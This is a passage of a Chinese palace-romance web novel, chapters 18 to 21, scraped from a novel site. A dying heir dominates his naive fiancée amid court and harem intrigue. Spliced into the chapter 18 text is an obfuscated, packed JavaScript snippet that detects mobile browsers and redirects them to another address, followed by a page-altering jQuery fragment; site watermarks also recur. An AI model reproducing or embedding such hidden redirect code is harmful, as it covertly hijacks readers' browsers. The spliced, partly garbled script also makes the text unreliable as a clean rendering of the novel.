对着她这副可怜的模样,崔伯翀不仅无动于衷,还想笑的更加开怀。手指捏着她的肩骨,他强迫她转过身,毫不留情地扯开她的衣襟。 细弱的肩膀失去伪装,露出了苍白的肌肤。 薛含桃差一点又不能呼吸,心怦怦乱跳,直到一点冰凉的触感涂抹在她的肩膀处。 她嗅到了一股淡淡的药香,脸颊顿时通红,原来世子发现了她肩膀有伤,在为她涂药啊。 可是,时间过了很久,又有不同于药膏的湿润触感,在慢慢蔓延。 有些刺痛,她闷头,咬着嘴唇一声不敢吭。 18. 第十八章 桌上还是那面果儿从宫中带出来的铜镜,工艺精湛,荧光如水,它静静地立着不动。 薛含桃费力地偏转身体,扭着脑袋,用一种可笑的姿态想要看清她的肩后。那里,仍旧停留着让她难为情的触感,起初是轻柔的,后来又变成了刺痛,好像有尖利的东西想要穿透她的骨头。 无论被怎么对待,她都一声不敢吭。可是当背后可怕的猎人离去后,山洞中藏着的小动物便一点一点探出了头。 终于,她看到了。 光洁的镜面上,先是照出了一大片惨白的肌肤,看起来和她一模一样的萎靡不振。接着便是青黑色的瘀痕,薛含桃碰不到,但她能猜到它是怎么出现的,那个被阿凶咬到手背的衙役怀恨在心,用了很大的力气推她,伤到了她的肩膀。 现在她动了动身体,感觉不怎么痛了,应该是世子为她涂抹的药膏起了作用。 扭动间,镜中突兀地露出了一枚紫红色的……印记,无声地嵌在肩骨的最顶端,彰显着前不久的她受到了怎样的对待。 她被咬了,或许一开始还有舔舐。 属于另外一个人的唇舌在她的皮肉上停留,然后留下了清晰的痕迹。 意识到这一点,薛含桃整个人仿若被定住了,眼神迷离又呆滞,怎么能这样呢? 这般亲密,这般强势,是她从来没有经历过的。未婚夫妻是要这么相处的吗?可是为什么,之前她和宋熹连手也没牵过? 薛含桃真的想不通,只能拼命地回忆他临走前和她说过的话。 “虽然你不诚实也不老实,但你乖巧听话,也算是讨人喜欢。” 世子仍旧生着她的气误会她欺骗自己,她反驳不了,只好委委屈屈地抿着嘴唇。 然后,他莫名沉默了一段时间,很温柔地为她拉好衣襟,将装着药膏的瓷瓶放进她的手中。 这个时候,世子又低声说了一句什么呢。 薛含桃记起来了,他说,“不要把我想的太好。” - 崔伯翀从房中走出,眸色黑沉,唇角却噙着一抹淡淡的笑。 他是一个卑劣的人,偏偏有颗脑子不灵光的小桃子将他当作了神明敬畏。 现在只是个开始,慢慢她就会知道她的想法有多么的错误。 接下来呢,她就会后悔,或者,深深地怨恨。 崔伯翀不在乎,甚至还有些愉悦,因为命运如此,他阻挡不了自己的死亡,也阻挡不了她成为自己的未亡人。 不过,他边走边惊讶地喟叹,原以为她只是一颗随处可见的桃子,却不想真的能榨出甜蜜的汁液。 “真是意想不到啊,不过这颗桃子的骨相生的流畅精致,日后养一养,说不得会变成一颗人人追逐的仙桃。” 崔伯翀忽然很是期待那一日的到来,免得总是被人诧异“眼光独到。” 他不慌不忙地走在狭窄又简陋的街道,看着日光平等地照在每一个人的身上,第一次感觉到了轻松。 尽管这里的人曾经或许都见过身在马背上的他,为他欢呼,为他雀跃,而现在他走过去,他们都不甚自在地躲开,偶尔看过来,眼中也只剩下惧怕。 罗承武架着马车在后面跟着,崔伯翀一直走到了街头。 “贵人饶命!贵人,我给您磕头,求您放过我的儿子吧。”这时,一个老妇突然冲了过来,不停地磕头求饶。 崔伯翀看了一眼她涕泪横流的模样,往后望去。 “世子,她的儿子就是把薛娘子指认为流民的赖老大,赖老大还偷盗了薛娘子家中的财物,您吩咐我们砍断他的双手。” 罗承武立刻上前,开口解释,不出意外的话,现在赖老大的人已经被他们带来的护卫抓到了。 他的话音落下,老妇也就是郑婆子哭嚎地更加起劲,说她的儿子只是鬼迷心窍不是故意害人,要打要骂冲着她来。 像是印证罗承武的说法,果然,下一刻,昏厥过去的赖老大就被两人绑着送过来复命。 他的双手不自然地垂在身后,像是已经被折断了。 “儿啊,你快醒醒啊!”郑婆子看到这一幕,天都塌了,喊了两声没见赖老大醒来,她顿时疯狂地咒骂起来。 “娼妇,那就是两个小娼妇!不干不净地做些见不得人的勾当,我儿没错,就该抓了她们。” “不光抛头露面不守规矩,每日还净召男人上门!长得不怎么样,惯会勾引人,前天来了一个男人待在她房里,不知道干些什么,如今这又来了一个。” “奸夫!” 罗承武的脸色铁青,怎么也没想到自家世子会有被一个老婆子指着鼻子骂奸夫的一日。 他立刻看去,却见世子的脸色不仅没变,还颇为和煦。 “前天来过一个男人,想来,那人应该就是她的前任未婚夫。到底说了什么做了什么,我也很好奇。” “不过,还是下次再问好了。” 不能将人欺负了一次又一次,将人欺负到极致不是他的处世之道。 崔世子连声音都带着笑意,不停咒骂的老妇和昏厥的癞子赌鬼被他视若无物,罗承武一时便不知该如何应对。 住在这里的不少人都在偷偷关注着事态的发展。 罗承武拿不定主意,还是开了口询问。 “世间的人与物自有律法处置,依律行事,你问我?” 听到世子极为冷淡的语气,罗承武没了声音。 他最终命人将这一对挡路的母子拉到县衙去了,造口业有造口业的罚法,偷盗加上诬告不是关十几年就是流放三千里作苦力。 不管结果如何,这对母子大概是不会再在这里出现了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243987|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 次日。 薛含桃发现周围人看自己的目光发生了变化。 她为了犒劳阿凶和果儿姐姐两个大功臣,一大早就去满香楼买了几只烤鸡还有蒸鸭,回来时顺便又去糕点铺子称两斤点心。 糕点铺子里,伙计曾为她说话。 薛含桃买过了点心,一脸真诚地向他道谢,送给他一只烤鸡。 伙计的态度有些奇怪,虽然收下了烤鸡,但总是不与她对视,每当薛含桃看过去,他就飞快地移开视线。 好像,她去满香楼买烤鸡的时候,周围的人也是如此。 她想找个人问个明白,刚好这时封大娘子从铺子后面出来。 薛含桃眼睛一亮,叫了一声大嫂,谁知向来热情的封大娘子态度也有了转变,怎么说呢,看上去比之前还要热情,但薛含桃却觉得她们之间的距离变得远了。 她不明白是怎么回事,正想和封大娘子问清,果儿着急忙慌地过来寻她,要她快些回去。 “娘子,马车又来了!” 果儿压抑着心头的激动,凑到她身边小声说道。 她口中的马车指的只有一种,那就是宫中的薛贵妃派出来的,接薛含桃进宫! 果儿觉得贵妃娘娘一定是知道昨日发生的事情了,所以今日才如此着急,宫门才开就迫不及待地令娘子进宫。 薛含桃被果儿拉着,不得不从糕点铺子离开。 “大嫂,等明日我再过来。”临走前,她不忘同封大娘子笑一笑。 还是那般老实诚恳的模样,不曾有任何改变。 “唉,谁曾想……她真的来历不凡。”封大娘子捂着胸口,忍不住喃喃低语。 身份太低会被人看轻,身份太过“贵重”,这里的人包括封大娘子在内更不自在。 一想到那个俊美的郎君轻而易举让人处置了赖老大和郑婆子,还把他们都送去了县衙,封大娘子就倒吸一口冷气, “怎么办?我以前没有对薛妹妹做过不好的举动吧?” “若是有的话,那可就完了。” - “欺人太甚!反了天了!我薛青娥这些年还未被人如此欺辱过!小桃,我如今只你一个妹妹,他们辱你便是在辱我!” “昨日,你就该让人到宫中报信。” 薛含桃进入柔仪殿,果不其然,宫中的薛贵妃已经知道了昨日发生的事情,正大发雷霆。 都城府尹写了一封奏章到宫中告罪,德昌帝将奏章给她看过,薛贵妃简直要气炸了。 自从进宫得到了皇帝的喜欢后,她一直顺风顺水,眼下又生了唯一的皇子,呵,居然就在她的眼皮子底下,她的妹妹被当作流民抓了,甚至还差一点被掳卖为奴。 薛贵妃差一点咬碎一口银牙。 此仇不报,她枉为这个贵妃! 19、第十九章 “阿姐先消消气,您还在月子里面,我怕您动气伤身……而且,您看,我现在好好的,不也没什么事……” 面对薛贵妃的怒火,薛含桃小声解释,给她看自己的全身上下。 除了肩膀有些伤,她真的还好,比起被关在柴房里面挨饿强多了。 “小桃,你和我仔细说清楚,那个刘县令和他女儿,和你之间到底怎么回事。”薛贵妃的身体比前几日恢复了不少,她下榻走过来,气势强盛,“还有宋熹,我记得叔父临终前为你们定下了婚事,为此还把珍藏多年的书稿全部给了他。你只和我说你们退婚了,却没有说其中有别人掺和啊。” 薛贵妃的目光很有穿透力,她也在问为什么不说,只要说出来,她这个贵妃姐姐难道不会为她做主吗? 一个被免职了的县令,收拾他不过是贵妃动动手指的事。 薛含桃无声沉默,瘦小一团站在殿中的姿态有些悲伤,还有些可怜。 正当薛贵妃还要再问的时候,听到她含糊地说了一句话,“伯父伯母是阿姐的亲生父母,我只是不想阿姐伤心。” 提到刘金眉,提到宋熹,就一定要提到大伯父大伯母。他们对她才是真正的狠心,可是现在他们所有人死了。 薛含桃连痛恨他们都变得茫然,她要如何和堂姐说呢?告诉堂姐大伯父大伯母为了刘金眉的五十两银子将她关起来逼着她嫁给一个傻子,告诉堂姐洪水来了他们丢下她逃命结果全都葬身在水底。 然而最后却是薛含桃活了下来,和堂姐血脉更近的亲人死光了。 她知道堂姐心中埋怨伯父伯母,但她无法确定堂姐对父母还有没有感情。 所以,对着活着的子女言死去父母的过错,她说不出口。 面对她的逃避,薛贵妃忽然明白了一切,是了,她怎么忘记了自己那对冷血的父母。 “对,姓刘的是县令,他的女儿怎么有人敢得罪,巴结还来不及。他们对你做了什么?” “小桃,告诉我!” “……其实事情都已经过去了……刘小姐派人到家中,伯父伯母替我退了和宋熹的婚约,”薛含桃抬头看着薛贵妃,故作轻松地笑,“伯父伯母可能是怕刘县令的势力,后来便觉得我还是嫁出去的好,他们为我寻了一桩婚事,是……孙家的儿子。” 村里的孙家,薛贵妃也有印象,他们家那个痴傻儿子谁人不知谁人不晓。 “哈哈哈,果然,果然,是他们能做出来的事,你不愿意,是不是还把你关在房中,对你说爹娘为了你好。”薛贵妃笑,笑出了眼泪,当年她不也是被逼着如此吗? “伯父伯母把我关在了柴房,我饿的没力气,外面一直在下雨,只听见伯父伯母他们说要去逃难,后来…后来我在水中发现了他们的衣服。” 少女的语气小心翼翼,伯父伯母对堂姐比对她还是好很多的,堂姐当年没有挨饿,自己的父母也去劝过。 听到这里,薛贵妃眼角的泪水终于滑落下来,一张脸似哭非哭,似笑非笑。 柔仪殿久久寂静无声,一直到胡茵儿进来禀报崔皇后要见薛含桃。 “皇后娘娘派来的人就在殿外等着薛娘子,娘娘您看?”胡茵儿抬眼看向薛贵妃,呼吸谨慎。 “皇后?哦,崔世子是她的亲侄子,她要见小桃,本宫知道了。”薛贵妃冷冷拭去脸颊的泪水,从自己的发间拔下了一只鸾凤金钗,转而插在薛含桃的头上。 短短的时间内,她的眼泪已经收了回去,对着薛含桃说道,“小桃,你放心去见皇后,本宫不会放过欺辱你我姐妹的人,县令还有他的女儿,本宫要他们都不得好死。” “阿姐不要伤心,我真的没事,昨日我已经状告刘小姐了。” 听着薛贵妃冰冷的语气,薛含桃讷讷出声。 虽然总是会被欺负,但她也有自己的尖牙利爪。 所以,不要再为她担心了。 这一刻,薛贵妃看到了她眼中漾着的光芒,弱小的,却是明亮的坚定的。 “崔世子天潢贵胄,虽然我不知昨日他为何去救你,但小桃,不要随便就相信人。听闻崔世子身边有疼爱的小侍,崔皇后若是问你的看法,记住少说多笑。” “小、小侍,阿姐,我记得了。” 少女攥着指尖老实点头,她会多笑的,一个字都不说。 也不说那个小侍就是她自己。 - 早朝,大殿之上。 久违多日的崔世子露面,站在了枢密使狄恒的身后,引起不少人暗中的揣测。 是不是要有大事发生了?人人都知这两年崔世子行为散漫,几乎不出现在朝堂上。 朝廷许多官吏窃窃私语,都城府尹怀呈每听到一个他们的猜测,心中都暗道了一句不对。 八竿子打不着,怎么不多想想世子前阵子去了哪里,做了什么。 “伯翀今日倒是稀奇,跟着狄卿一同来了。”德昌帝高高坐在龙椅上,看了一会儿交头接耳的臣子们,率先开口。 其实他知道原因,怀呈的奏章中可不止秉明了一件事。 德昌帝对此感官复杂,首先,崔伯翀找到了证据却不说出来,他自是不悦。然而证据若是摆出来,他又是不愿意查下去的,毕竟很有可能他宠幸的一些心腹也牵扯在其中。 狄恒这人,德昌帝也不太喜欢,金兵压境时,德昌帝授意心腹提出南迁,最先开骂的那个人就是他。 “狄公找到臣,说是有一件关乎社稷的大事要提出,臣也不敢不来呀。” 殿中,风华正茂的青年发出一声轻笑,目光扫过前面几人,尤其一名穿着麒麟袍服的中年男子,这人是蔡存,德昌帝一手提拔委以重任的宰相。 “朝堂之上,伯翀和狄大人就不要打哑谜了。”蔡存回了一句,皮笑肉不笑,“莫非又是那北伐一事,狄大人可不止说过一遍了。” 闻言,德昌帝的脸色微变,眼底隐有厌烦。北伐北伐,难道他不想打败金人吗? “蔡相莫要妄自揣测,老夫今日何曾提出北伐。”狄恒站了出来,朝上拱手,“陛下,臣和伯翀所言的关于社稷一事与北伐无关。” “不是北伐,那是什么?”德昌帝隐晦地瞥了一眼崔伯翀,心道彻查丰县一事也不是他想听到的。 “回禀陛下,皇子诞生,举国同庆,臣觉得应该即刻册封太子,以安社稷。”狄恒开口,洪亮的声音响彻在朝堂之上,众人皆惊。 “立太子,是啊,朕得立太子!”德昌帝听到了意想之外的答案,整个人如醉方醒豁然开朗,看狄恒也变得顺眼起来。 谁说他膝下无子,他现在已经有了皇儿了,提议兄终弟及的那些人以后通通得闭嘴! “皇子降生,天下承平。陛下,前不久臣手中得了一件东西,想来,天意如此,臣能够得到它是为了皇子亦是太子殿下扫清前路。” 在朝臣失声,德昌帝欣喜若狂的时候,崔伯翀一脸淡定地站了出来,从袖中拿出一物。 天下的主人不在乎这大好河山,但若是有个人告诉他为了太子呢? 果然,不出他所料。 太子在前,德昌帝早就没了一开始的不悦,他看过崔伯翀呈上去的账册,没有丝毫犹豫,严令彻查。 作为丰县的县令,主持修建了堤坝的人之一,刘县令,罪责难逃。 除此之外,殿中也有多人当即落马,官职俱都不低。 …… 散朝后,顶着以蔡存为首多人仇视的目光,崔世子如闲庭散步般走出了大殿。 他漫不经心地想着,自己也是不得已而为之,一个县令都欺负到自己未婚妻的头上了。 若是毫无动作,真是心头不爽。 “世子,请留步,皇后娘娘请您过去叙话。” 坤宁殿的掌事太监高顺忠守在文德殿外,一发现崔世子的身影,追赶上前。 崔伯翀抬起眼皮,目光和语气亦是淡漠,“皇后娘娘深居后宫,我乃外臣,纵有姑侄关系,也不便相见。” “世子,皇后娘娘先前请了曹家的九娘子过去。”高顺忠笑了笑,犹豫一瞬又道,“还有一位薛娘子,皇后娘娘知晓陛下赐婚,故而去柔仪殿叫了人。” 曹家九娘子,之前可是同世子接触最多的女子,听说定国公夫人先前也有意说亲,可惜……可惜! “带路。” 崔伯翀薄唇吐出几个字,想说麻烦。 他快死了也不得清静。【魔蝎小说 mo xie xs .c om】 20、第二十章 柔仪殿,延和殿,还有坤宁殿。 以前的薛含桃从来没有想过自己会接连走进这三座天下最为尊贵的宫殿,并不止一次。 她的表现又比之前好了一些,背挺的很直,走的步子也是不大不小刚刚好。 “薛娘子,皇后娘娘就在殿中,奴婢未经传召不得进去,您请吧。”坤宁殿的宫人将她带到殿门处,仅留下一句话,接着便悄无声息地退至一旁。 坤宁殿整体比薛贵妃的柔仪殿大气,殿门更高,她鼓起勇气走进去,默默觉得自己是一只昂首挺胸的小蚂蚁。 她与世子的婚事已经成了定局,无可更改。薛含桃想着自己如今要见世子的亲姑母,不可以给世子丢脸。 对,还要笑,阿姐说面对崔皇后要少说多笑。 于是,她的一双眼睛和嘴角都弯起来,很讨人喜欢的样子,遮住心中越来越多的忐忑与不安。 行至坤宁殿的殿中央,薛含桃跪了下来,用进宫几次勉强学来的经验,拼尽全力做出了最标准的礼仪。 她的头抵着两只平铺的手掌,努力让自己的声音不那么颤抖。 “民女薛含桃,拜见皇后娘娘,祝愿皇后娘娘永远开心快…” “娘娘,您快闻闻九娘新炙好的茶饼,雨后摘下最嫩的茶尖,每一粒都经过百遍的清洗,烘晒,最后揉制成这么一小团,再放在文火上慢慢地炙,可谓是留香悠久。” 一个身影忽然又再自然不过地出现,携带着馥郁的香气和动听的声音越过薛含桃的身边。 明明她很不礼貌地打断了他人的话,可是这殿中的每一个人就像是没有发现一般,热情、亲昵地称呼她为九娘子。 “谁人不知九娘子手巧,炙的茶饼京城中人人都赞不绝口。” “果然是雨后新茶,瞧瞧这嫩绿的色儿,九娘子好心思。” 薛含桃仍旧跪在地上,从她的角度仅仅能看到少女飘动的裙袂,以及脚上鞋子镶嵌的珍珠。 很大很圆,闪耀着柔润的光泽,每一颗都映照出她傻愣愣的眼神。 没人注意到她,也没人唤她起身。 薛含桃仿佛成为了这里的透明人,听着少女细数炙烤茶饼的过程,听着宫人对少女毫不吝啬的称赞,也听着一个威严又不失温和的声音在询问少女有多久没见她的大表兄了。 “以前住在姑母那里是和表兄天天见的,自从九娘及笄便见的少了,上一次见表兄还是表兄去樊州之前。娘娘,您怎么问这个呀?莫非是,是表兄要来这里吗?” 少女含羞带怯的声音传入薛含桃的耳朵时,她的手臂开始变得酸涩。 樊州啊,那这位九娘口中的表兄就是……原来她是世子的表妹。 “不错,今日伯翀上朝,本宫便命人守在文德殿外,等他下了朝就过来。”威严的声音微有停顿,仿佛这时才想起殿中还有一个人的存在。 崔皇后笑着道,“瞧本宫这记性,还有你们也该罚,怎么不提醒本宫薛贵妃的妹妹已经到了,快扶她起来。” 两名宫人上前,薛含桃沉默着站起了身。 忍着躯体的不适,她微微抬头,小心翼翼地将自己被打断的话说完,“祝愿皇后娘娘永远开心快乐。” 也正是这一刻,她才真正看清了崔皇后和那位九娘子的长相。 崔皇后不愧为一国之母,生的端庄的鹅蛋脸,眉眼虽然能看出有了年纪,但仍旧不减婉丽。 至于陪侍在她身旁的少女,清新怡丽,鲜艳娇嫩,让人想起雨后的新荷,一身粉裙青襦,美的不似人间俗物。 真是很美啊,浑身的气质也十分高雅。 薛含桃反应迟钝地扯开唇角,也朝她笑笑。 “原来你是薛贵妃的妹妹,我姓曹,家中排九,你以后就和她们一起喊我九娘子吧。”曹文真瞥了她一眼,目光发现那支鸾凤珠钗,才勉强咽下了快要冲到嘴边的轻蔑嗤笑。 她想,不会有人想到最后嫁给大名鼎鼎崔世子的人居然会是这样的一个女子,普通丑陋,连她身边最低等的侍女都比不过。 若不是薛贵妃生下了皇子,这样上不得台面的女子恐怕一辈子都不知道定国公府的府门朝哪儿开。 曹文真内心生出巨大的愤怒与不甘,姑母早就和她说过不止一次要让表兄娶她的,皇后娘娘也乐见其成,哪料最后出现一个卑微的农女! “九娘子。”薛含桃从善如流,照着喊她,因为看出她对自己的不喜,语气有些干巴巴。 见此,曹文真再也无法忍受,冷下一张脸,扭头转向崔皇后露出一副委屈的表情,“娘娘,表兄究竟什么时候到啊?” 崔皇后安抚地拍了拍曹文真的手背,让她再等一会儿,“本宫知道你心系伯翀,念着想见他一面,所以就让人传你入宫来,满足你的心愿。” “只是,”崔皇后的目光意味深长地落在殿中另外一名少女的身上,继续道,“可惜了!” 一句可惜背后暗含的意思有很多,合着崔皇后的下一句话一起将薛含桃抛去一个蒙昧晦暗的世界。 “以前,伯翀也最喜欢你。本宫还记得,有一次他从本宫这里得了一盆珍稀的花,转手就送给了你。” 心系,可惜,喜欢……所有的字眼从薛含桃的身体中经过了许多遍,她的鼻腔变得酸胀的同时,也恍然大悟。 原来这位曹九娘子不仅是世子的表妹,还是真正同世子两情相悦的那个人啊。 都怪她,一定是她太过粗心,没有和王牙媪再打听几遍,若是她知道世子和曹九娘子两情相悦,那她……还可以抗旨。对,她可以抗旨不从,这个办法怎么当时没有想到呢?薛含桃你真的是又蠢又笨啊,反正你的亲人除了堂姐已经死光了,堂姐还为陛下生下了皇子。陛下生气,只会冲着她一个人,阿凶就托付给果儿姐姐好了,她给果儿姐姐自己所有的银子…… 薛含桃挺直的脊背一点一点地变弯,脑袋也慢慢地垂了下去,她被汹涌而来的羞愧压垮了。 看到她仿佛失去了生机的模样,崔皇后满意地眯了眯眼睛,接着吩咐宫人将薛含桃送出坤宁殿。 “你是贵妃的妹妹,本宫也不便多留你。伯翀和九娘若都在,怕是你不自在,回吧。” “民女告退,祝愿皇后娘娘福运安康。” 薛含桃继续老老实实地行礼,只是这一次她的眼睛和语气都是空洞的,呆滞的。 为什么偏偏在这个时候,在她心中生出一点点不切实际的期待后,让她知晓她犯下了多么可恨的过错。 或许,她也该和大伯父大伯母一样死在水中吧。 如此就不会阴差阳错地插入在一对有情人之中,就不会生出……可耻的妄想。 她不仅对不起世子,现在也变成了曹九娘子心目中的罪人。 “可惜。”看着她失魂落魄地离开坤宁殿,崔皇后又低声说了一遍可惜。 可惜为什么不是她生下了皇子,而是薛青娥一个卑贱之人。 陛下为了拉拢崔家将薛青娥的妹妹赐婚给她的亲侄子,对薛青娥,对皇子确实都好,可是对崔家和她而言,就不够好了。 崔皇后真正想要的结果,是小皇子从柔仪殿来到坤宁殿,成为她的孩子。所以,她叹一口气,不能怪她要让这桩婚事变得名不副实。 其实也不是件坏事对吗?毕竟,她的侄儿那一场保卫战后重伤难愈命不久矣,说不定今日的这个小姑娘日后还要感谢她。 感谢她从一开始就让她和一个将死之人离心离德。 …… 坤宁殿外,薛含桃刚好遇见了步伐优雅的崔世子,只一眼,她就像受惊的动物一般,快速地将自己缩了起来。 不能去看,没脸去看,只要不看,她还能维持住一点可怜的自我,不会难过得连呼吸都停顿了。 她的脚步飞快,仿佛在逃跑,心中想着快些,快些离开这个地方。 回到让她唯一有安全感的小院,然后呢?薛含桃努力去想,拼命地想。 “走这么快,急着出宫做什么?”身后忽然出现一道低缓随性的嗓音,问她。 “回家,给种子浇水。”薛含桃下意识地回答,下一刻她辨认出身后的气息属于谁,瑟缩着躲开很远。 崔伯翀盯着她避犹不及的举动,很轻很细微地捻了下指腹。 “看来,你在坤宁殿有了一段奇妙的经历。”他薄唇启开,明明唇角噙着一抹淡淡的笑,但眼睛深处的厌倦与不耐快要化作实质。 薛含桃没有作声,她已经被内心的羞愧压垮了,根本不敢再接近他。 崔伯翀平静地望着一颗即将要枯死的桃子,手指终于动了,轻轻地放在她的肩膀,也刚好是他曾经停留过的地方,迫使她缩短与他之间的距离。 “你不说话,那就一同回去吧。” 回去了别的地方,他有的是手段和法子让她不得不开口。 “可是,世子,皇后娘娘还在坤宁殿等着见您呢。对,曹家九娘子也在,您和曹家九娘子……”高顺忠见状,心急如焚,额头上都冒出了汗珠。 “九娘子可是世子的表妹。” 闻言,崔伯翀嘴角勾起一个凉薄的弧度,“表妹?曹家的种,叫我表兄,我答应了吗?”【魔蝎小说 mo xie xs .c om】 21、第二十一章 听到这句话,高顺忠顿时汗流浃背。 他怎么忘了最要命的一件事,如今的定国公夫人的确是曹家九娘子的亲姑母不假,可崔世子的亲生母亲并非是曹夫人,而是定国公的原配杨夫人! 杨夫人乃是已故杨太尉之女,她怀着世子时不巧先皇北伐失败,时任左卫大将军的杨太尉守城战死,杨氏族人也死伤无数。闻此噩耗杨夫人动了胎气,难产生下崔世子之后就猝然离世。 仅半年后,定国公娶了曹夫人进门,又生下崔世子的三个弟妹。 于礼节上,曹家九娘子是可以唤崔世子一句表兄,然而,崔世子若是不认,谁又敢有异议。 当时定国公守妻孝才半年,曹氏就急着嫁女,这件事做的可不地道。 “世子,皇后娘娘……”无奈,高顺忠只得又提起崔皇后。 “坤宁殿既有客人,我怎好扰了姑母的兴致。”崔伯翀打断他的话,眉眼间的冷漠已经不再掩饰。 临死之前仍扰他清静,就不要怪他的脾性越来越差,忍耐度越来越低。 被他冷戾的声音又一次吓到,薛含桃忍不住挣扎,想要缩回她自己的小小的世界。在坤宁殿的时候,她便有了一种很强烈的感觉,自己是一个世界的闯入者啊。 她和世子,和曹家九娘子,甚至和胡姑姑还有果儿姐姐都不是一个世界的人。 薛含桃的世界是丰县底下那个偏僻少人的村子,一只会掉毛的大黑狗,一间灰扑扑的小屋,用力才能吃饱的肚子和抄不完的书。 肩膀处被捏的生疼,她还是没有躲开,急促地喘息了一声。 便是这一声急喘,崔伯翀骤然松开了手指,放她走在前面。 他被勾起了一些……夜间的回忆,骨子里的戾性悄无声息地变成了另外一种。 就这样,奇特的一幕出现了。 前方,一个既不美丽也不大气扔到人群中也找不到的少女闷着头走路。她的后面,不远不近,却跟着风华绝代的崔世子。 一路上,看来的宫人和禁军越来越多,他们眼中的惊奇像是对薛含桃又一次的公开处刑。 宫门处,她像热锅上的蚂蚁一样急着寻找来时的马车,然后另外一辆对她而言绝不陌生的马车停了过来。 “你不上去,还有更多人看你。哦,作为我的未婚妻。” 崔伯翀津津有味地开口,随便就将她世界的外壳打破,留出一个破败不堪的大洞。 “……我是真的没脸再和世子待在一起。”少女怔怔地钻进马车里面,在坤宁殿丢失的魂魄还没有回来,“为什么不告诉我,世子有两情相悦的人。” 也许,她就会想到抗旨不从。 “曹九娘子生的好美,气质也高贵,许多人夸赞她,她会炙茶饼,心思巧妙。世子喜欢她送给她珍稀的花,九娘子也欣喜地等待和世子见面……多相配啊。” 天造地设的一对,被她横插一脚给毁掉了。 薛含桃说不下去了,弯下腰,难堪地将脸埋进了膝盖。 “说完了吗?怎么不继续说,不会是哭了吧?” 听到他此时不该有的愉悦笑声,少女抬起头,露出泪光闪烁的眼睛和红通通的鼻尖。 “嗯,哭了。”崔伯翀确认了自己的判断,点点头,“哭完之后别忘了准备嫁妆和嫁衣。” 他语气淡淡地道成婚的吉日选好了,在小皇子满月之前的第三日。 距离现在也就八、九日的功夫。 聘礼、嫁妆、结亲需要的杂七杂八的东西都要在几天的时间里面准备齐全,不能出现乱子。 “可是,曹家九娘子……”薛含桃脑子里一片混乱,对婚期生出急切的同时仍然不忘记至关重要的一点。 “是,她比你美,比你高贵,比你脑子灵光,会炙茶,然后呢?和我有关系吗?我就算送给她十盆花,她依旧不会成为葬在我身旁的那个人。” 在薛含桃的目光中,男人的侧脸完美而优雅,可他的眼神又是冷淡的,厌弃的。 “阿姐和我说不要随便相信人,所以皇后娘娘是在骗我,九娘子也在骗我。”她总算从崔世子的态度中弄懂了一件事,曹九娘子不是世子喜欢的那个人。 至于为什么要骗她,估计崔皇后是想让她有自知之明吧。 能与世子相配的女子至少也要和曹九娘子一般。 她太差了,根本不配出现在她们的世界,也不配站在世子的身边。 最好,收起所有的妄想,老老实实地成为一个摆设,窗台上精美的花瓶也与她无关,她大概只是廊下一只盛着泥土的陶罐。 “我明白了,嫁给世子以后,我一定老实规矩,不会越过界限。”薛含桃认认真真地说出了自己的承诺,她会在心中牢记配不上世子,做一个透明人。 崔伯翀挑眉看向她郑重其事的表情,没有搭理她,一颗傻愣愣的桃子,婚后如何自然是他说了算。 揉圆捏扁,亦或是榨汁取肉,全看他的心情。 - 马车停在街口,这次已经没有人再敢看他们。 薛含桃发现,先前对她笑脸相迎的封大嫂也仓皇地躲进了铺子里,一瞬间福至心灵,她忽然明白了一切。 为什么周围的人改变了态度,面对她总是很奇怪。 “是因为我的身份变了吗?” “不,是因为我命人处置了住在这里的一对母子,他们害怕你畏惧你,因此远离你。” 崔世子耐心地为她解释,然后他指着一个在不远处徘徊的身影,轻轻笑着说道,“也不是所有人都躲开,你看,那人就是特意来找你的。” 顺着他的手指看去,薛含桃呼吸一滞,那个人影是宋熹,他出现在了她的小院门前。 她前不久才和他断绝了往来,如今他违背约定再次出现,大概是因为刘县令他们被抓起来了吧。 堂姐还很生气地说了绝对要刘县令一家人不得好死。 不对,宋熹并不知道堂姐如今是宫里的贵妃,除非,他以为帮自己的人是…… “小桃!你终于回来了!”薛含桃还沉浸在思考中,宋熹已经看到她走了过来。 其实,远远的,宋熹就注意到了那辆驶来的两架马车,它的规格,它的体制都不该出现在这里。 即便吏部侍郎,也没有如此华美精致的马车。 宋熹的直觉告诉他,马车里面,一定有一位不得了的大人物。 接着,他就看到他等待的小桃跟随一个男人从车厢中出来,两人的举止,很是亲近。靠在一起,身体相贴……是一种强势护着的姿态。 宋熹眯起了眼睛,循着绝佳的记忆想起了那一次他同刘县令模糊不清的拜见,也就辨认出了那个男人是谁。 定国公世子,枢密副使,崔伯翀。 果然,小桃和他有千丝万缕的关系,绝不只是一个临时的侍女那么简单。或者说,崔世子把小桃当作了他的…女人,虽然大概率只是一时兴起,仅是用来暖床。 这样的例子,宋熹见过的不少,也并不意外。 有人喜欢美貌香软的女子,而有的人生来尊贵,环肥燕瘦都见过,山珍海味也都吃过,偶尔尝一尝清粥小菜,再正常不过。 如果小桃就是崔世子的清粥小菜,那么昨日刘县令一家突然被抓到京兆府便说得通了。 “学生宋熹拜见崔世子,不知世子前来,是否是因为刘县令被抓,学生也是才知道刘小姐对小桃做了什么,都怪我上门质问,引发她对小桃的怨恨。还好,小桃无事,不然我这个身为兄长的实难心安,想来都是世子相助。” 宋熹走近,先是对着崔伯翀行礼。 他没有露出很明显的惊讶与疑惑,但他眼神中对薛含桃的愧疚与担忧叫人一看就明白,他心里牵挂着她。 他站在薛含桃的这一边,还要为了她感谢崔伯翀的帮忙。 以清清白白兄长的身份。 “兄长?”崔伯翀眸光微动,削薄的唇吐出一句反问,“难道你不是她从小定下的未婚夫吗?” 语气平缓,但能听出其中的几分不满。 闻言,宋熹连忙否认,“世子误会了,小桃的父亲是学生的授业恩师。他去世时托付我多照顾小桃,为了对外好解释,便说我们两人是未婚夫妻。但实际上,我从来只把小桃当作自己的妹妹,前些时候,那个名不副实的婚约也已经取消。” 